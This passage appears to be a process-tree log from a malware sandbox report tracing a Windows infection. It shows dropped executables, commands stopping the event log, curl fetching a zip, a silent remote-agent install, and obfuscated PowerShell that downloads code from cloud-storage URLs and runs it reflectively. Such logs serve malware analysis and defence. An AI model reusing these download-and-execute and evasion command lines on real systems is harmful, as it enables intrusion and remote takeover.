- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe6⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"6⤵
- Launches sc.exe
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exefile_37b904483beaa60e.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\EagleJetClient4.exeEagleJetClient4.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\1.exeC:\Users\Admin\AppData\Local\Temp\a\1.exe4⤵
-
C:\Windows\system32\whoami.exewhoami5⤵
-
-
C:\Windows\system32\whoami.exewhoami5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client.exeClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\test.exetest.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\loner.exeloner.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff86876c728,0x7ff86876c734,0x7ff86876c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1900,i,14379750595592422116,3931576751337185496,262144 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=3184 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2152,i,16507841239157368806,13561669056359059874,524288 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --force-high-res-timeticks=disabled --metrics-shmem-handle=2300,i,14293152607887985613,14520949702616059398,524288 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=4084 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2924,i,18228039504835477667,16202543847120182598,2097152 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2928,i,16503982557622726098,11090064935901711433,2097152 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=4164 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3564,i,7572802837505063580,1984865530566806466,2097152 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3580,i,8348465153346448152,10057025148372367374,2097152 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4024,i,837481600978446596,4269495828195609124,2097152 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4476,i,18190595385160659327,7149352258071512213,2097152 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --force-high-res-timeticks=disabled --metrics-shmem-handle=4704,i,691330454732509636,12251993756045960370,524288 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --force-high-res-timeticks=disabled --metrics-shmem-handle=4888,i,14302868118896865321,13990284861064703983,524288 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fs2hm3sl.w5h" --force-high-res-timeticks=disabled --metrics-shmem-handle=5368,i,17708124918530879628,16369925586523988174,524288 --field-trial-handle=3188,i,13451800933981466756,16800121473596584648,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:145⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\fdClient.exefdClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TitanuimXross01.exeTitanuimXross01.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe spx.vbs3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys28532\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys28532\tmp920.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip4⤵
-
C:\Users\Public\Documents\Sys28532\msvcrt.dllC:\Users\Public\Documents\Sys28532\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys28532\tmp920.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip5⤵
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\Sys28532\setup1.vbs"4⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\Sys28532\setup1.vbs" /elevated5⤵
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Documents\Sys28532\UEMSAgent.msi" TRANSFORMS="C:\Users\Public\Documents\Sys28532\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Public\Documents\Sys28532\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Public\Documents\Sys28532\DMRootCA.crt" /qn6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\eagleClient004.exeeagleClient004.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\EaglesTitan001.exeEaglesTitan001.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\install.exeinstall.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe System1.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Wzt = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPSঔৣ⇜naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdjঔৣ⇜vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRjElMjBsaW5rJTIwZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49ZTczODlhZDItNGFkOS00ZmI3LWJmNjঔৣ⇜tMmE1MDJiYmI2YzZjJyঔৣ⇜7JFB4UHl0ID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdkU3Z3bi50eHQnKTskd2ViQ2xpZW50LkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjঔৣ⇜7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiঔৣ⇜oS0hUTUwsIExpa2UgR2Vja28pIENocm9tZS8xMjঔৣ⇜uMC4wLjঔৣ⇜gU2FmYXJpLzUzNy4zNiBFZGcvMTIwLjঔৣ⇜uMC4wJyk7JHBUZ2RnID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCঔৣ⇜7JEhjWEJzID0gJHBUZ2RnLkRvd25sb2FkU3RyaW5nKCঔৣ⇜kcHFtam9hICkgOyRIY1hCcyB8IE91dC1GaWxlIC1GaWxlUGF0aCঔৣ⇜kUHhQeXQgLUVuY29kaW5nICdVVEY4Jyঔৣ⇜tZm9yY2UgOyRXeE5Deiঔৣ⇜9ICggJ0M6XFByb2dyYW1EYXRhXCcgKyঔৣ⇜nZFN2d24udHh0JykgOyRaSmJzVVggPSঔৣ⇜nTG9hZCcgOyRaU0RZRyঔৣ⇜9ICdJbnZva2UnOyR5TmxVTyঔৣ⇜9ICRudWxsOyRZV0ZJYiঔৣ⇜9ICckdHhJZU4gPSঔৣ⇜nJ3R4dC5pc21fa3NhdC9uaWFtL3NkYWVoL3NmZXIvc292aWhjcmEtc2ltL2dwai02MjYyNjJyZWxnbmVwcy9tb2MudG5ldG5vY3Jlc3VidWh0aWcud2FyLy86JycgKyঔৣ⇜nJ3NwdCcnICsgJyd0aCcnIDsnIDskWVdGSWIgKz0gJzskeCঔৣ⇜9ICgnJ0M6XFByb2dyYW1EYXRhXGRTdnduLnR4dCcnKTskT2dtZWdjID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskT2dtZWdjID0gJE9nbWVnYy5yZXBsYWNlKCcnPT09PT09PT09JycsICcnQScnKTsnIDskWVdGSWIgKz0gJ1tCeXRlW11dICRWTG1QZSঔৣ⇜9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRPZ21lZ2MgKSঔৣ⇜7Jyঔৣ⇜7JFlXRkliICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jyঔৣ⇜rICc6Q3VycmVudERvbWFpbi4nICsgJFpKYnNVWCঔৣ⇜rICcoICRWTG1QZSঔৣ⇜pLicgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜nR2V0VHlwZSggJydGanJELkdxZ2EnJyঔৣ⇜pLkdldE1ldCcgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜naG9kKCঔৣ⇜nJ05SSk9NUycnICkuJyঔৣ⇜rICRaU0RZRyঔৣ⇜rICcoICR5TmxVTyঔৣ⇜sIFtvYmplY3RbXV0gKCঔৣ⇜oICR0eEllTiঔৣ⇜pICwgJycldWpKRGRVJScnICwgJydPRXpUSkMnJywgJycwMycnLCঔৣ⇜nJzEnJywgJydjYWNhJycgICkgKSঔৣ⇜7Jyঔৣ⇜7JFdFTUVTID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdEdlZicy5wczEnICkgOyRZV0ZJYiB8IE91dC1GaWxlIC1GaWxlUGF0aCঔৣ⇜kV0VNRVMgIC1mb3JjZSঔৣ⇜7cG93ZXJzaGVsbCঔৣ⇜tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyঔৣ⇜tRmlsZSঔৣ⇜kV0VNRVMgOw==';$jXaFy = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($Wzt -replace 'ঔৣ⇜','A') ) );$jXaFy = ($jXaFy -replace '%ujJDdU%', 'C:&Users&Admin&AppData&Local&Temp&a&System1.vbs');$WxNCz = ( 'C:\ProgramData\' + 'Vy.ps1') ;$jXaFy | Out-File -FilePath $WxNCz -force ;;powershell -ExecutionPolicy Bypass -File $WxNCz;4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\Vy.ps15⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\DvVbs.ps16⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1992.exe1992.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff86876c728,0x7ff86876c734,0x7ff86876c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1916,i,12653372442686300859,4702096641367564585,262144 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=2828 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2088,i,3854441194813792229,5146214225802085239,524288 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --force-high-res-timeticks=disabled --metrics-shmem-handle=2404,i,12719686764197352774,92443744523784696,524288 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=3384 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3312,i,6050606627154355563,9019067379274571698,2097152 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3324,i,10109631597879038309,7997651620084327316,2097152 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=3404 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3544,i,17513077761895899632,3919245881269305102,2097152 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3556,i,8576064859642570143,248053459975076165,2097152 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4268,i,12350707649932549560,12650640443387297216,2097152 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4452,i,12375447573977139818,3341619080765622486,2097152 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --force-high-res-timeticks=disabled --metrics-shmem-handle=4804,i,9181642604819494553,7132982309161165935,524288 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --force-high-res-timeticks=disabled --metrics-shmem-handle=4868,i,4454027067633723187,7014674606791570613,524288 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fmizv1lc.smy" --force-high-res-timeticks=disabled --metrics-shmem-handle=5004,i,14744253666984891811,3814194877247138315,524288 --field-trial-handle=2832,i,13515563266497366641,5985690837787610386,262144 --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:145⤵
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe System.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $NYjjV = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPS☇☇☇naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdj☇☇☇vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRkRMTCUyMDEwLT☇☇☇2LnR4dD9hbHQ9bWVkaWEmdG9rZW49OGFlYmZjZD☇☇☇tMzMxOS00YjIyLTkzODgtODQ0OWQyOGQzZDQ2Jy☇☇☇7JFB4UHl0ID0gKC☇☇☇nQzpcUHJvZ3JhbURhdGFcJy☇☇☇rICdMd29xby50eHQnKTskcFRnZGcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskc0ZVQmMgPS☇☇☇kcFRnZGcuRG93bmxvYWRTdHJpbmcoICRwcW1qb2EgKS☇☇☇7JHNGVUJjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☇☇☇tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☇☇☇7JGxOVFhCID0gKC☇☇☇nQzpcUHJvZ3JhbURhdGFcJy☇☇☇rICdMd29xby50eHQnKS☇☇☇7JGhWcXF0ID0gJ0xvYWQnIDska1R4VVggPS☇☇☇nSW52b2tlJzskeUdwSVcgPS☇☇☇kbnVsbDskWVdGSWIgPS☇☇☇nJG5EeFdxID0gJyd0eHQudGF2bi9uaWFtL3NkYWVoL3NmZXIvbWFzY2ltb2MvODIxMDU4b3RlYmFjL21vYy50bmV0bm9jcmVzdWJ1aHRpZy53YXIvLzonJy☇☇☇rICcnc3B0dCcnICsgJydoJycgOycgOyRZV0ZJYi☇☇☇rPS☇☇☇nOyR4ID0gKCcnQzpcUHJvZ3JhbURhdGFcTHdvcW8udHh0JycpOyRGbG9QZi☇☇☇9IChHZXQtQ29udGVudC☇☇☇tUGF0aC☇☇☇keC☇☇☇tRW5jb2RpbmcgVVRGOCk7JEZsb1BmID0gJEZsb1BmLnJlcGxhY2UoJycqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKionJywgJydBJycpOycgOyRZV0ZJYi☇☇☇rPS☇☇☇nW0J5dGVbXV0gJFZMbVBlID0gW3N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggJEZsb1BmICkgOycgOyRZV0ZJYi☇☇☇rPS☇☇☇nW1N5c3RlbS5BcHBEb21haW5dOicgKy☇☇☇nOkN1cnJlbnREb21haW4uJy☇☇☇rICRoVnFxdC☇☇☇rI